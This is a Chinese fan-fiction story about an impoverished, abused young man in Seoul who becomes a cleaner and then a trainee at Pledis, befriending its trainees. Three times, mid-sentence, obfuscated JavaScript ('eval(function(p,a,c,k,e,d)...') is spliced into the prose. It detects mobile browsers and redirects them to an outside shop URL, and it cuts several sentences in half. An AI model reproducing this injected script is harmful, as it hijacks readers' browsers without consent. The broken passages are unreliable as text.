《13天枯叶蝶》 1. 崔胜徹 “可我不知道那到底是什么……就像一场消融的大雪，把什么都埋走了。” “剩下的吗……什么也没剩下……” “最可怕的是，没有人记得，就连你听我说到现在，也会觉得我是在做梦。对不对？” “我自己现在也分不清是不是梦了……” “Samuel，你相信我，哥说的都是真的。” _ 腊月的首尔，风是带棱角的，专往人骨头缝里钻。 下午五点多，天已经擦黑，路灯刚亮起来，光线是浑浊的橙黄，勉强撕开这片老城区稠密的灰暗。 街巷狭窄，两侧低矮的旧楼外墙斑驳，贴满了层层叠叠的小广告，被湿冷的空气泡得卷了边。 空气里有股复杂的味道，陈年的油烟，若有若无的垃圾腐败气，还有一种属于贫瘠生活几近黏稠的锈味。 金侑一贴着墙根快步走着，几乎要缩进那件因为洗得发白，袖口磨出毛边的深蓝色棉服里。 他垂着头，视线落在自己脚上那双鞋帮开裂的运动鞋上，每一步都下意识避开路面坑洼里冻住的脏水。 他刚从便利店下工，连续站了六个小时的腿有些僵硬，喉咙也干得发涩。口袋里揣着今天的工资，薄薄几张纸币，却沉甸甸地压自己。 这笔钱要分成几份：弟弟学校下周的餐费，需要更换劣质的家具，快见底的米缸，还有…… 他抿了抿唇，把那点关于挪用一些去旧书店买本二手教辅材料书的微弱念头掐灭。 母亲上个月又“奉献”了不少给教会，家里这个月的电费还没着落。 越靠近家，那股无形的压力就越重，像这冬日傍晚的天色，沉沉地压下来。 巷子尽头那栋最破旧的三层楼，就是他的家。楼下传来嘈杂的争吵声，男人的咒骂混着女人尖利的哭喊，是二楼那对夫妻。 金侑一脚步顿了顿，没抬头，只是走得更快了些。 钥匙插进生锈的锁孔，转动时发出刺耳的摩擦声。门开了，一股更浑浊的气息扑面而来，那是一种独属于失序生活的颓败。 客厅只亮着一盏昏暗的灯泡，光线吝啬地勾勒出家具简陋的轮廓。弟弟金在贤蜷在角落一张旧垫子上，身上盖着条薄毯，正就着那点光写作业，听见开门声，男孩抬起小脸，眼睛亮了亮：“哥。” 金侑一心头那点被寒风冻住的冷意化开些许。他“嗯”了一声，反手带上门，把寒风关在外面。 “吃饭了吗？” “吃了泡面。”在贤小声说，目光落在哥哥手里提着的便利店塑料袋上。 金侑一走过去，从袋子里拿出一个还温热的饭团，塞到弟弟手里：“给你留的。快吃。” 话音未落，里间的门“哐”一声被踹开。一个眼泡浮肿的男人趿拉着拖鞋走出来，这是他们的父亲。 中年人身上的酒气隔老远就能闻到，眼神浑浊，直勾勾盯住金侑一：“钱呢？今天是发工钱的日子吧？别以为我不知道。钱！” 金侑一身体几不可察地僵了一下，手下意识按紧了放钱的口袋。 “要交餐费，要买米，还有电……” “少废话！”父亲不耐烦地打断，几步冲过来，一把攥住金侑一的胳膊，力气大得惊人，“拿来！老子养你这么大，拿你点钱怎么了？快！” 刺鼻的酒臭喷在脸上，金侑一胃里一阵翻搅。他试图挣开，但父亲的手像铁钳。 “爸，这个月真的……” “啪！” 一记耳光结结实实扇在脸上，火辣辣的疼瞬间炸开，耳朵里嗡鸣一片。金侑一被打得偏过头去，眼前发黑。 “反了你了！小*崽子！” 父亲咒骂着，另一只手已经伸进他口袋，粗暴地拽出那几张纸币。 在贤吓得丢开饭团，扑过来抱住父亲的腿哭喊：“别打哥哥！爸爸别打！” “滚开！” 父亲一脚踹开在贤，男孩瘦小的身体撞在桌角，发出一声闷响，疼得蜷缩起来。 怒火和绝望瞬间冲垮了理智的堤坝。金侑一也不知道哪来的力气，猛地挣脱父亲，拽过在贤，一把抢回那几张被揉皱的钞票，转身拉开门就冲了出去。 身后是父亲暴怒的吼叫，但他什么也顾不上了，只知道要逃，逃离这个令人窒息的地方，和他唯一的弟弟一起。 冷风像刀子一样刮在刚挨过打的脸上，更疼了。他漫无目的地狂奔，穿过一条又一条昏暗肮脏的巷子，肺叶像要炸开，心脏狂跳得几乎撞碎肋骨。 不知跑了多久，直到在贤在身后哭着求着喊他的名，直到自己的腿软得再也迈不动，他才在一个僻静的巷口停下来，扶着冰冷的砖墙大口喘息。喉咙里全是血腥味。 脸上疼，身上冷，但心里那片空洞的寒冷更甚。他慢慢滑坐在地，背靠着墙，把脸埋进膝盖。口袋里那几张沾着汗渍的钞票硌着大腿。 四周寂静，只有远处隐约的车声和风声。这个世界这么大，却没有一寸地方能容下他喘口气。 “哥，”在贤的脸因为流泪的缘故被低温划出一道道红痕，但尽管如此，他仍努力朝金侑一挤出一个笑容，用尽全力去安慰他的哥哥，“你吃过了吗？” 金侑一把视线挪向他手里的饭团，就这样盯着看了很久，久到在贤有些失落准备放下时，他忽地笑出声： “哥吃过了。哥不饿。” 金侑一眼底涌上暗色，收了脸色。 他比在贤大四岁。金侑一没告诉过弟弟，在他拥有的那额外的四年里，父亲没有沾上赌博，母亲也没加入教会。 普通的小家庭过得很安稳，直到在贤出生那年母亲因为大出血花费了高额的医疗费，父亲也因为工作失利而不得不背上高债。 金侑一是喜欢弟弟的。哪怕双亲总是把死局怪罪在在贤身上。有时候他望着那么小的孩子孤零零地躲在角落里，抽噎也不敢出声的模样，自己也会心里往上泛酸水。 “在贤呐，不哭不哭。还有哥在呢，最苦的时候就在这儿了，以后一定都会变好的。嗯。要相信哥。相信哥。” 以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976259|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后到底有多久？金侑一也不知道。于是，在贤就这样年复一年度过了他12个冬天。 在贤靠着他小心翼翼吃着饭团，金侑一不合时宜地冒出想带弟弟离家出走的想法。可他们在哪里落脚呢？又去哪里挣钱呢？在贤的学业呢？他自己呢？说白了，他们俩真的能活下去吗？ 就这么不知坐了多久，直到手脚冻得发麻，金侑一才缓缓抬起头。天已经完全黑了。这条巷子似乎格外偏僻，路灯坏了，只有远处路口一点模糊的光晕。 他撑着墙壁想站起来，腿却一软。好在在贤眼疾手快，扶了他一把。 金侑一摸了摸男孩的头：“在贤先回去吧，这时候爸应该已经走了。” “内。”男孩声音很沉，但动作不慢，迅速转身拢住身体，往回小跑，看得金侑一心里好受了点。 就在这时，巷子深处传来脚步声，夹杂着一丝轻快的歌调，在这死寂的黑暗里显得格外突兀。 金侑一警觉地抬眼望去。一个身影从更深的阴影里走出来，是个少年，小小的个子，穿着厚实的羽绒服，毛线帽和围巾遮住了半张脸，只露出一双在昏暗光线下依然显得很亮的眼睛。 他手里拿着个类似MP3的东西，耳朵里塞着耳机，似乎完全沉浸在自己的世界里，脚步很是轻快，浑然不觉自己正走进这片连本地人都尽量绕行的“牢街”。 几乎同一时间，金侑一瞥见巷子另一头，来了几个晃动的黑影，明晃晃地堵住了来路。金侑一眯起眼，那是是常在附近游荡的那群混混。 混混吗自然是冲着看起来家境不错的“外来者”来得。在“牢街”，误闯是错，落单更是“死罪”。 少年终于后知后觉地察觉到气氛不对，他停下了哼歌，摘下一边耳机，对自己身处的地段有些茫然。 那几个黑影怪笑着吹起口哨，慢慢围拢过来。 金侑一的心脏猛地一缩。他认得这几个人，是附近出了名的无赖，偷抢拐骗，什么都干。 这孩子…… 身体先于大脑做出了反应。他撑着墙站起来，深吸一口冰冷的空气，压下脸上的疼痛和浑身的疲惫，几步冲过去，迅速抓住那少年的胳膊，将他拽到自己身后。 “别回头，往前走，出巷子右转就是大路。”他压低了声音，慌乱的语速说得很快，目光紧紧盯住逼近的混混。 少年显然吓了一跳，但在金侑一挡在他身前的瞬间，那点惊慌奇异地平息了一些。他看了看金侑一紧绷的侧脸，又看了看前面那几个不怀好意的人，没动。 “哟，还有个想当英雄的？”为首的混混叼着烟，淬了一口唾沫，“小子，识相点滚开，把你身后那小肥羊留下。” 金侑一没说话，只是微微侧身将少年护得更严实。他个子不矮，但太清瘦，对面的三个人都比他壮实。男孩的冷汗沿着脊椎滑下，脸部的肌肉紧张到痉挛。 冲突一触即发。金侑一甚至能闻到对方身上浓重的烟味和汗味。就在对方伸手要来推搡他的一瞬—— “呀！你们干什么呢！” 2. 尹净寒 手电筒刺目的光柱直射过来伴着从巷口传来的一声中气十足的喝问。 是巡警。 混混们脸色一变，骂了句脏话，转身飞快地溜进了旁边的岔道，消失在黑暗里。 金侑一浑身紧绷的肌肉瞬间松懈下来，几近脱力。他喘了口气，回头看向身后的少年。 少年也正看着他，毛线帽下那双眼睛睁得圆圆的，那里有金侑一熟悉的后怕，和离他十分遥远的叫做好奇的情绪。 “谢……谢谢你。”少年开口，声音有些清亮，带着点惊悸后的微颤。 金侑一摇摇头，他没说什么，转身就要走。虽然脸上还疼，心里也有些混乱，但此时他只想找个地方一个人待着。 “那个……你没事吧？”少年却跟了上来，指指他的脸，“你脸上受伤了。” 金侑一下意识摸了摸红肿的脸颊，垂下眼。“没事。” “我家就在附近，我、我帮你处理一下吧？我有药。”少年语气真诚，带着一种不容拒绝的关切。 金侑一抬眼看他。路灯的光终于吝啬地洒了一些进巷口，照在少年脸上。那是一张很白净的脸，五官秀气，眼神清澈，一看就是被保护得很好的孩子。 和他，和金在贤，和这条巷子，和这片城区，都格格不入。 拒绝的话在舌尖转了一圈，最终咽了回去。或许是少年眼里的光太亮，金侑一鬼使神差地点了点头。 少年松了口气，眼睛弯了弯：“我叫李志勋。你呢？” “金侑一。” 李志勋带他去的“附近”，其实并不近，走了快十几分钟，穿过几条相对整洁的街道，进了一个看起来管理不错的公寓小区。 电梯平稳上升，停在十七楼。 李志勋掏出钥匙打开门。 屋内温暖明亮，整洁得近乎空旷，空气里有淡淡的清洁剂香气。典型的单身公寓布置，但客厅一角摆着昂贵的音乐设备和电脑，墙上贴着些李志勋说是他自己做的音乐海报。 “你一个人住？”金侑一看着应该还不到高中年龄的李志勋问道，他站在门口有些局促，因为鞋底沾着巷子里的污渍。 “嗯，练习生宿舍暂时没安排好。”李志勋随口答道，从柜子里拿出一个家庭药箱，熟练地找出碘伏和棉签。“坐吧。” 练习生。 金侑一的心像是被什么东西轻轻撞了一下。他在玄关脱了鞋，尽量不弄脏光洁的地板，走到沙发边，也只坐了三分之一的位置。 李志勋拿着药箱过来，在他旁边坐下，用棉签蘸了碘伏，凑近他脸上的伤处。少年的动作很轻，带着小心翼翼的专注。 “可能会有点痛。” 冰凉的液体触碰到皮肤，果然刺疼了一下，金侑一微微蹙眉，乖乖地一动不动。两人离得很近，他能闻到李志勋身上一点柑橘类清新的味道。 “刚才真的很危险。真的谢谢你。”李志勋一边涂抹，一边再次道谢，语气诚恳。 “顺手而已。”金侑一低声说，视线落在自己指节泛白的手上。那双手十分粗糙，和李志勋那双用来弹奏乐器的手截然不同。 “你是住在那附近吗？” 李志勋问，换了根干净的棉签。 “嗯。” “哦……”李志勋没再多说什么，处理好伤口后，又看了看他嘴角的裂痕，同样小心地涂了药。“好了。这几天别碰水。” 金侑一道了谢，气氛沉默下来。他觉得自己该走了，但温暖的空气包裹着冻僵的身体，让人一时贪恋。 “你是……练习生？” 他最终还是问了出口，声音有些干涩。 李志勋点点头，眼睛又亮起来：“对。就很普通的练习生啦，我在Pledis娱乐。以后想做出很好的音乐，站在舞台上。” 他说这话时，脸上有种纯粹的光芒，是金侑一从没在任何人身上见过的热烈。 金侑一看着那他的笑脸，心里某个角落被狠狠刺痛了一下，酸得他心底发胀。 舞台，灯光，音乐，梦想……这些词汇离他太遥远了，远得像童话书里几个世纪前的名词。 他口袋里那几张皱巴巴的纸币，甚至不够买一张最便宜的音乐会门票。 “你呢？”李志勋收起药箱，顺着话茬问下去，“有什么想做的事吗？” 金侑一沉默了几秒。窗外是首尔璀璨的夜景，万家灯火，正燃得高亢。男孩喉咙发紧，他听见自己用极轻的声音说： “我蛮想……蛮想唱歌的。” 说完，他自己都愣了一下，随即涌上一阵难堪。李志勋和他不一样，他犹如泥泞一般的人生又怎能让他奢想一个属于少年的梦。 这话在这样的情境下，显得十分可笑，甚至不自量力。 但李志勋没有笑。他转过头，很认真地看向金侑一，那双清澈的眼睛里映着客厅的灯光，也映着金侑一狼狈却挺直的轮廓。 “是吗？”李志勋说，语气平静，甚至带着点理所当然，“那就去唱啊。” 那就去唱啊。 简单的五个字，却像一颗小小的石子，投进金侑一心底那片死寂的冰湖，漾开一圈几乎察觉不到的涟漪。 他不知道自己是怎么离开李志勋的公寓，又是怎么走回那栋破旧楼房的。 脸上的药膏散发着微凉的气息，父亲果然已经离开，藏着锁在柜子里的几百韩元没逃过命运，大概是被父亲拿着又去了赌档。 弟弟在贤已经睡着了，脸上还挂着泪痕，怀里滑稽地抱着便利店饭团的包装袋。 金侑一轻轻给弟弟掖好被子，走到窗边。窗外是沉沉的夜，看不到一颗星星。李志勋说那句话时的神情，和他眼里那种毫无杂质的光芒，却在黑暗中异常清晰地浮现出来。 Pledis娱乐。 他低声重复了一遍这个名字。手指无意识地蜷缩起来，碰到了口袋里一个硬硬的小东西。 掏出来一看，是李志勋刚才趁他不注意塞进去的一张名片，上面有Pledis的地址和一个联系电话，背面用圆珠笔匆匆写了一行字：“来找我们代表吧。代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976260|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问起，就说是练习生李志勋介绍的。” 字迹有些稚气，但笔画用力。 金侑一把名片攥在手心，攥得紧紧的，直到边缘硌得掌心生疼。胸腔里那颗沉寂了太久的心，在冰冷的黑暗里，极其微弱地跳动了下。 窗玻璃上蒙着一层冰冷的雾气，金侑一抬手擦了擦，指尖传来因为摩擦的粗粝触感。 楼下巷口，父亲金成浩正被两个面色不善的男人推搡着，含糊不清的咒骂和讨饶声断续飘上来，很快又被寒风撕碎。 金侑一移开视线，缄默的背影渐渐湮没在浓烈的黑夜，最后融为一体，缓缓倒塌。 他没有立刻去Pledis。 那张名片像一块烧红的炭，揣在口袋里，烫着他，提醒着他横亘在眼前的现实。 他又多打了一份工，清晨送报，白天在便利店，晚上去烤肉店后厨帮忙清洗堆积如山的油腻碗碟。睡眠被压缩到极限，走在路上都感觉脚步发飘。 但存折上那个微小的数字，在以更慢的速度艰难地爬升。给在贤的餐费，家里的米钱，小小居民房的电费，需要修补的旧衣……每一笔支出都像钝刀子，慢慢割掉那点好不容易攒起来的厚度。 但结果，他还是去了。 在一个天空阴沉得像要压下来的下午，金侑一攥着那张名片，换上了最整洁的一套衣服。虽然依旧是洗得发白的牛仔裤和旧毛衣，但他仔细认真熨平了褶皱。 Pledis的办公楼比他想象的要普通，甚至有些陈旧。门口进出着一些穿着时髦的年轻人，步履匆匆，神情带着练习生特有的那种绷紧的期待与焦虑。 保安拦住了他。金侑一喉咙发干，紧张地说不出完整的句子，只是把名片递过去，手指微微颤抖。“先生，我……找金代表。” 保安瞥了一眼名片，又上下打量他，眼神里带着毫不掩饰的审视。金侑一垂眸。他觉得自己像一件摆在橱窗外的瑕疵品，正被评估是否值得放入店内。 就在他几乎要转身逃走的时候，保安对着对讲机说了几句。 等待的几分钟漫长得像一个世纪。 李志勋跑了出来。他穿着宽松的卫衣和运动裤，额发被汗湿了一绺，像是刚结束练习。“侑一哥！”他得眼睛亮晶晶地，但在看到金侑一僵硬的站姿和保安的脸色后，收敛了几分。 “啊，这是我朋友，我之前跟代表提过，是我邀请他来的。”他语气自然地对保安说，然后拉住金侑一的胳膊，“快进来吧，外面冷。” 金侑一被他拉着，几乎是踉跄地跨进了那扇玻璃门。门内是他从未接触过的个世界——空气里飘着淡淡的地板清洁剂，汗味被风扇吹得零零散散，隐约能听到不知从哪个房间传来的音乐声和拍打声。 墙壁上贴着一些他叫不出名字的艺人海报，色彩明亮，笑容耀眼。 走廊上来往的年轻男女，无一不身形优越，容貌出众，哪怕只是匆匆一瞥，也能感受到那种被精心雕琢过的光彩。 而他，金侑一，像一滴误入清水的油污，格格不入。 3. 洪知琇 李志勋很好心地带他进了金代表的办公室，和代表解释几句后，办公室里只剩下了两个人。金代表问什么，他就答什么。 金侑一全程低着头。 他不敢看上面那人的眼神。 话题的最后，男人只说了这么一句： “瞧着样貌是个能挣钱的，只可惜太穷。” 男人再没说什么直接把他带到了另一件大办公室。一个坐在办公桌前的中年男人面色严肃地上下打量着金侑一，金侑一猜那应该就是P社社长。 男人听了代表的说辞后，眉头皱得很紧。“清洁工？我们最近不缺……” “社长，这孩子瞧着是个老实的，虽然家世不好，但这么好模样的，您信我一句言，真的见不到下一个了！”代表把金侑一抬得越高，金侑一的头就越低。 他有时候也会困惑，为什么人的脑袋不能就黏在地上。反正他也不要正视什么有的没的。 身旁的男人语气带着点难得的急切，“真的，社长，这孩子也是真的想做练习生，一边打工一边练习的您也不是没见过。就让他试试吧。” 或许是金代表的推荐话术起了作用，或许是真的临时缺人手，社长最终不情不愿地哼了一声，扔过来一张表格和一把钥匙。 “先去把三楼东侧练习室的走廊和卫生间打扫了。工具在储物间。试用期一周，没有工资，管一顿晚饭。干得好再说。” 金侑一接过表格和钥匙，冰凉的金属触感让他清醒了些。他深深地鞠了一躬：“谢谢您，我会好好做的。” 他的工作从最底层开始。早六晚十打扫卫生，搬运杂物，一天三次清理垃圾。 他像一个处在地下的隐匿者，穿行在光鲜舞台的背后，呼吸着灰尘和消毒水的气味。 练习生们起初对他这个突然出现又沉默寡言的后勤工有些好奇，但很快便失去了兴趣。 他们谈论的是音阶、舞步、体重管理、出道机会，金侑一偶尔会隔着练习室的门缝，看到里面挥汗如雨的身影，听到那些或清亮或低沉的歌声。 每一次，他都像被钉在原地，心脏钝痛。 他会在打扫时，看到被随意丢弃在垃圾桶里的乐谱纸团，会趁没人的时候悄悄捡起来，一点点抚平褶皱，再偷偷看上几眼那些蝌蚪一样的音符和潦草的字迹。 有一次，他正擦拭走廊的窗台，一个练习生捂着肚子匆匆跑进卫生间，不久里面传来压抑的呕吐声。 金侑一认得他，是说唱课上rap说得特别溜的那个，总被老师表扬，好像叫全园佑，跳起舞来也有用不完的力气，但似乎肠胃不太好。 过了一会儿，全园佑脸色苍白地走出来，看到金侑一，愣了愣，有些尴尬地扯了扯嘴角。 金侑一没说话，转身去储物间，拿出自己备着的胃药，又用一次性纸杯接了温水，他似乎也不适应自己这般举动，抿上嘴，默不吭声地递过去。 金侑一因为自己长期饮食不规律，也会常备。 全园佑看着他，眼里闪过一丝惊讶。他接过药和水，低声道了谢。那之后，全园佑再见到他时，偶尔会点个头。 类似的小事渐渐累积。他看到那个叫崔胜徹的练习生，似乎是个小领导，总是最早来最晚走，眉头时常紧锁，压力很大的样子。 他会帮崔胜徹收拾好散落的水瓶和毛巾。看到几个年纪更小的中国练习生，因为语言不通，对着老师的指令一脸茫然时，他会用自己偷偷学的中文，结结巴巴地帮忙翻译几个单词。 那些孩子，文俊晖，姚鸣鸣，还有后来加入的，他们总会用装着纯真善良的眼睛看着他，唤他“侑一哥”。 金侑一就像一个笨拙的修补匠，小心翼翼地处理着这片光芒背后的琐碎。 他的“药箱”渐渐出名，里面除了胃药，还有创可贴、跌打喷雾、消毒碘伏，甚至有几包水果糖，那是为了防止孩子们在练习过度的时候低血糖。 他认识了更多人——活泼吵闹的夫盛宽，总是笑眯眯但跳舞时气场全开的权纯永，个子高高rap说得很顶的崔韩率和金岷奎，弹吉他曲时特别有魅力的Joshua…… 他们在他眼里，起初是一个个模糊的标签，却在后来渐渐有了鲜活的轮廓。 但站在金侑一立场上，他必须保持该有的距离，他得时刻清醒地目前的自己没资格属于那里。毕竟，他还只是个打扫卫生的。不是么？ 但他还是狼狈地介入了，以一个后勤工的身份——已记不得是哪天，他正打扫一间闲置的小储物间时，听到隔壁传来激烈的争吵和撞击声，隐约还有哭泣。 他犹豫了一下，放下拖把走过去。声音是从一间小练习室传来的，那扇门正虚掩着。 透过门缝，他看到那个叫崔胜徹的被两个高大的身影堵在墙角，那是公司里资历更老的练习生，据说背景很硬。 其中一个正用手狠狠戳着崔胜徹的胸口，嘴里骂着不堪入耳的脏话，指责崔胜徹带领的这群人“不懂规矩”“抢了风头”。 崔胜徹紧握着拳，眼圈通红，但他倔强地昂着头，既没有还嘴，也没有怯懦。 “前辈，我们只是按要求练习……”崔胜徹的声音沙哑。 “要求？架子还不小啊？那我告诉你什么是要求！”另一个前辈猛地推了他一把，崔胜徹的后背重重撞在镜墙上，发出沉闷的响声。 金侑一脑袋里“嗡”的一声。他看到崔胜徹疼得蜷缩了一下，但很快又挺直了背。 那个瞬间，崔胜徹的身影和被父亲踹开的在贤的身形重叠，金侑一不知哪来的勇气，他猛地推开门冲了进去。 “住手！”他的声音因为紧张而有些变调，在空旷的练习室里显得突兀。 三个人的目光齐刷刷射过来。那两个前辈看到是那个总在公司跑腿的后勤工，眼神瞬间轻蔑起来，语气带着恼怒：“滚出去！这里没你的事！” 金侑一没动，他走到崔胜徹身边，挡在他前面，尽管他的身高并不比崔胜徹有优势。 “练习时间，前辈也该知道隔壁就有老师们在。”他尽量让声音平稳，手指在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976261|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身侧微微发抖。 “你算什么东西？一个扫地的也敢管闲事？”其中一个前辈逼近一步，伸手就要揪他的衣领。 金侑一下意识闭上了眼，预想中的疼痛却没有到来。他睁开眼，看到崔胜徹不知何时又站到了他前面，紧紧抓住了那只手腕。 “前辈，适可而止吧。”崔胜徹的声音冷了下来，带着一种金侑一从未听过的强硬，“闹大了，对谁都不好。” 那两个前辈似乎被崔胜徹突然强硬的态度和提及的“闹大”震慑了一下，他们蹙着眉头狠狠瞪了金侑一一眼，甩开自己的手腕，骂骂咧咧地走了。 练习室里只剩下金侑一和崔胜徹两个人，镜子映出他们狼狈的样子，一时间寂静得可怕。 崔胜徹揉了揉指节，他转过身，看向金侑一。此时他脸上疲惫尽显，但眼神十分复杂，有金侑一看得懂的怒意，还有金侑一看不懂的东西。 “谁让你进来的？” 崔胜徹问，声音有些梗滞。 金侑一张了张嘴，没发出声音。 “以后碰到这种事，走远点。”崔胜徹别开视线，走到墙边拿起自己的水瓶，“你惹不起。” 金侑一站在原地，看着崔胜徹仰头灌水时滚动的喉结，扫过他垂下的眼睫。刚才那瞬间挡在他身前的温度似乎还残留着。 “我……”金侑一终于找回了自己的声音，很低，“我只是……算了，不会有下次了。” 崔胜徹喝水的手顿了一下。他没再看金侑一，只是稍稍压低了声音：“把这里收拾一下。”然后拎起包，头也不回地走了出去。 金侑一独自留在凌乱的练习室里，慢慢蹲下身，他捡起被打翻的椅子，又擦拭镜墙上模糊的指印。指尖触碰到冰冷的镜面，里面映出他自己苍白沉默的脸。 他知道崔胜徹说的是对的，他惹不起。但刚才那一刻，他好像短暂地于这个世界喘息了一刻，哪怕是以一种疼痛的方式。 崔胜徹没再提过这件事，但后来见到金侑一时，眼神里比先前少了几分疏离。 有时会随口问他一句“吃饭没”，或者把练习后没开封的饮料扔给他。很随意的举动，却让金侑一心里那点卑怯的温暖，悄悄蔓延开一丝。 这让金侑一觉得他不能白来Pledis。 他开始更疯狂地压榨自己。 白天的工作照旧，晚上在P社打扫完毕后，如果还有练习室空着，他会偷偷溜进去。对着空无一人的镜墙，笨拙地模仿白天从门缝里看到的舞步，张开嘴，用气声哼唱那些盘旋在脑海里的旋律。 他的动作僵硬，声音也因为长期缺乏正确训练而干涩不稳。镜子里的自己，穿着沾着污渍的工装，在空旷的房间里像个可笑的幽灵。 可他停不下来。 李志勋那句“那就去唱啊”，崔胜徹挡在他身前的背影，在贤看着他时的眼神，甚至埋怨他的母亲，打骂他的父亲…… 所有这些，拧成一股尖锐的力，推着他，在这条看不见光的窄路上，跌跌撞撞地往前挪。 4. 文俊晖 生机一旦落在心土上，哪怕是最贫瘠坚硬的那一块，也会疯长出带刺的藤蔓，将人紧紧缠绕，带来近乎疼痛的希望，留下看不见的破裂痕迹。 已经成人的金侑一依旧孩子性地幻想着一切的美好，甚至挑来挑去定下了他未来的艺名：Unie。好像那时候，他就靠“Unie”挺着。 所以时间究竟带走了什么呢？ 金侑一站在空荡练习室的中央，听着自己不成调的喘息在墙壁间碰撞回响，第一次清晰地意识到，有些东西，大概再也回不去了。 存折上的数字终于爬过了一个微小的刻度线。金侑一把那张薄薄的卡片贴在胸口，冰凉的塑料壳下，似乎能感受到热度，尽管微弱。 这是他瞒着所有人，从无数个昏沉欲睡的清晨和油污遍地的深夜，一分一毫攒出来的。 数额不大，有些寒酸，但足够支付Pledis最基础练习生课程的初期费用，以及一份能保证他在接下来的几个月里不至于饿死的预算。 去交钱的那天，天空是少有澄澈，阳光毫无阻碍地洒下来，照在Pledis办公楼的玻璃幕墙上，反射出刺眼的光。 金侑一站在楼下，仰着头，第一次觉得这栋建筑没那么冰冷。他捏紧了装着钱的信封，指节因为用力而泛白，手心里也全是汗。 流程比想象中简单，比他预想的更令人激动。填写表格，缴费，拍照，领取一张临时出入卡和几份注意事项。 负责登记的工作人员是个面无表情的年轻女人，语速很快地交代着练习时间、着装要求、考核标准，目光几乎没有在他身上停留，仿佛他只是一道需要处理的普通手续。 金侑一垂着眼，他发现他越是用心去记每一个字，那些关键词就越像隔着一层毛玻璃，就越模糊，越沉重。 当他捏着那张印着他黑白照片，写着“练习生金侑一”的临时卡片走出办公室时，走廊里正有一群练习生喧闹着走过。 孩子们穿着统一的训练服，头发被汗水打湿，脸上带着运动后的潮红和高声谈笑后的松弛。 有人瞥了他一眼，目光掠过他穿了很久的普通T恤和牛仔裤，掠过他手里那张崭新的卡片，没有任何停留，又转回去和同伴说笑起来。 金侑一默默地把卡片收进口袋，贴着内侧放好。他拥有了一个名义上的资格，却比任何时候都更清晰地感受到他与梦想之间的空洞。 那天傍晚，金侑一结束清扫工作后没有立刻离开。崔胜徹带着一群人从大练习室出来，脸上带着罕见的轻松笑意。 “喂，金侑一！”崔胜徹叫住他，声音比平时洪亮些，“今天我请客，去吃烤肉！一起！” 周围顿时响起一片欢呼和应和声。夫盛宽蹦跳着过来揽他的肩：“走吧走吧，侑一哥！辛苦了这么久，总算能放松一下了！” 金侑一僵在原地。 烤肉？ 他口袋里的钱，交完练习生费用后所剩无几，每一分都要精确计算到未来几周的口粮上。请客吗？真的是请客吗？ 他连AA都难以负担啊。 “我……”他张了张嘴，喉咙发干，“我还要回去……” “回什么去！”权纯永一把勾住他另一边脖子，力气大得让他踉跄了一下，“今天必须去！庆祝我们阶段性考核通过！哥也来嘛，人多热闹！” “对啊侑一哥，你平时那么照顾我们。”文俊晖用还不太流利的韩语说道。 所有人的目光都落在他身上，压力骤然在金侑一肩头拉满。他看着那一张张充满期待的脸，拒绝的话卡在喉咙里，最终一个字也吐不出来。 金侑一心肠软得不行，他也知道自己应该干不出什么大事来。 这时候又会想起崔胜徹挡在他身前的背影，想起李志勋递来的话筒，想起那些孩子们在得到他帮忙时的依赖…… 某种尖锐疼痛的情绪，狠狠攫住了他。金侑一垂下眼，避开那些目光，点了点头。 “这就对了！”崔胜徹笑着拍了拍他的背，“走走走！我知道一家味道不错，价格也很实惠的！” 那家烤肉店确实不算高档，藏在一条热闹的巷子里，但烟火气十足。长长的桌子拼在一起，十几个人热热闹闹地围坐，菜单传来传去，五花肉、韩牛、大肠、蘑菇……点的东西很快堆满了桌面。 炭火在炉子里烧得通红，孩子们捏着夹子把肉片放上去，铁板立刻发出“滋啦”的悦耳声响，油脂滴落，腾起带着焦香的烟雾。 练习生们似乎暂时抛开了严格的饮食控制和出道的压力，笑着抱怨老师多么多么严厉，练习时哪一步做的特别搞笑，吐槽便利店的吃食等等。 金侑一坐在角落，挨着最不熟悉的金岷奎。他面前的盘子几乎是空的，只夹了几片生菜和一点泡菜。 每次有人把烤好的肉分到他盘子里，他都低声说谢谢，然后吃得极其缓慢，仿佛在数着不存在的米粒。 烤盘上油脂迸溅的热气熏着他的脸，周围的笑声和谈话声像潮水一样包裹着他，他却感觉自己像坐在一个透明的罩子里，所有的喧嚣都隔离在外，一股风过去，什么都没了。 口袋里的钱包轻得可怕。他知道这顿饭不会真的让崔胜徹一个人付，最后多半是AA。 他下意识地摸了摸口袋，指尖触到几张单薄的纸币和几枚硬币，还温热着。 “侑一哥，你怎么不吃肉？”坐在对面的李璨凑过来，嘴里塞得鼓鼓囊囊，像只小水獭，他把自己盘子里一块烤得焦香的五花肉夹给金侑一，“这个超好吃！快尝尝！” 